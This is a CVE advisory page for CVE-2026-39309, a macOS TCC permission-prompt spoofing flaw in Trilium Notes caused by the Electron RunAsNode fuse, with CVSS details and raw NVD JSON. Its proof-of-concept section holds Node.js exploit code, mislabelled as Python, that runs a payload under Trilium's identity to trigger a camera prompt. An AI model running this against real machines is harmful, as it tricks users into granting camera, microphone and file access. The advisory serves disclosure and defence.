Security Vulnerability Report
中文
CVE-2026-39309 CVSS 5.5 MEDIUM

CVE-2026-39309

Published: 2026-05-20 00:16:38
Last Modified: 2026-05-20 17:16:22

Description

Trilium Notes is a cross-platform, hierarchical note taking application focused on building large personal knowledge bases. In versions 0.102.1 and prior, the Electron configuration is vulnerable to TCC Bypass via Prompt Spoofing, allowing local attackers to trigger misleading macOS permission prompts by running malicious code under the identity of the trusted app. The root cause is that the RunAsNode fuse allows launching the app in a special Node.js mode using -e to execute arbitrary system commands with Trilium Notes's permissions and identity. An attacker can leverage this through a subprocess to request any sensitive permissions, such as access to hardware (camera, microphone) and TCC-protected files, causing the TCC system prompt to appear as if the request came from Trilium rather than the attacker's code, because macOS treats the subprocess as part of the parent application. Exploitation allows access to TCC-protected resources like the screen, camera, microphone, and folders such as ~/Documents and ~/Downloads, undermining macOS's security model and UI integrity through social engineering. This issue has been fixed in version 0.102.2.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Trilium Notes <= 0.102.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-39309 // This demonstrates how an attacker might trigger a TCC prompt using the app's identity. const { exec } = require('child_process'); // Path to the vulnerable Trilium Notes binary const appPath = '/Applications/Trilium Notes.app/Contents/MacOS/Trilium Notes'; // Malicious JS code to execute inside the app context // This attempts to launch an app that requires Camera access, spoofing the prompt const payload = ` const { exec } = require('child_process'); // Trigger a TCC protected resource request // The user will see 'Trilium Notes' requesting permission exec('open /Applications/Photo\ Booth.app'); `; console.log('Executing exploit payload...'); // Execute Trilium Notes with the -e flag to run the payload // This works because the RunAsNode fuse is enabled exec(`"${appPath}" -e "${payload}"`, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log('Payload executed. Check for TCC prompt.'); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39309", "sourceIdentifier": "[email protected]", "published": "2026-05-20T00:16:37.613", "lastModified": "2026-05-20T17:16:22.433", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Trilium Notes is a cross-platform, hierarchical note taking application focused on building large personal knowledge bases. In versions 0.102.1 and prior, the Electron configuration is vulnerable to TCC Bypass via Prompt Spoofing, allowing local attackers to trigger misleading macOS permission prompts by running malicious code under the identity of the trusted app. The root cause is that the RunAsNode fuse allows launching the app in a special Node.js mode using -e to execute arbitrary system commands with Trilium Notes's permissions and identity. An attacker can leverage this through a subprocess to request any sensitive permissions, such as access to hardware (camera, microphone) and TCC-protected files, causing the TCC system prompt to appear as if the request came from Trilium rather than the attacker's code, because macOS treats the subprocess as part of the parent application. Exploitation allows access to TCC-protected resources like the screen, camera, microphone, and folders such as ~/Documents and ~/Downloads, undermining macOS's security model and UI integrity through social engineering. This issue has been fixed in version 0.102.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}, {"lang": "en", "value": "CWE-451"}]}], "references": [{"url": "https://github.com/TriliumNext/Trilium/releases/tag/v0.102.2", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-66pm-8hvq-2wwx", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-66pm-8hvq-2wwx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}